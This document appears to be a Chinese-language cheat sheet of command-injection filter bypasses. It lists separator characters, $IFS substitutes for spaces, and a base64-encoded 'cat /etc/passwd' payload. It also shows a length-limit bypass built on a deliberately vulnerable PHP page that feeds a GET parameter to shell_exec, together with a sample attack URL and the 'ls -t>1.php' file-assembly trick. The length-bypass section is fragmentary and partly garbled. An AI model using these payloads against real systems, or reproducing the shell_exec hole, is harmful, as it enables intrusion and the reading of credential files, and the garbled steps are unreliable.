命令执行绕过
一、分隔符
1、换行符(%0a)
2、回车符(%0d)
换行符不能直接绕过,需要加上反引号
3、连续命令( ; )
4、管道符( | )
5、逻辑符( || 、&&)
用逻辑符时,需要让前一个命令执行错误
二、空格
1、%09(tab)
2、$IFS$9
3、$
4、$IFS
当空格被替换为空时,可以用上面四个代替空格
三、常用绕过技巧
1、重定义变量,绕过命令过滤
2、base64编码绕过
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -D
3、长度绕过
如果可以都要加上\进行转义
http://192.168.43.131/eval.php?cmd=w>POST[1];
<?php
$limit_num= 15;
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
if(strlen($cmd )<$limit_num){
$output = shell_exec($cmd) ;
echo "<pre>" . $output . "</pre>";
}
else
{
exit ( 'too long ' ) ;
}
?>
最后写完后,用ls -t>1.php输入到1.php文件中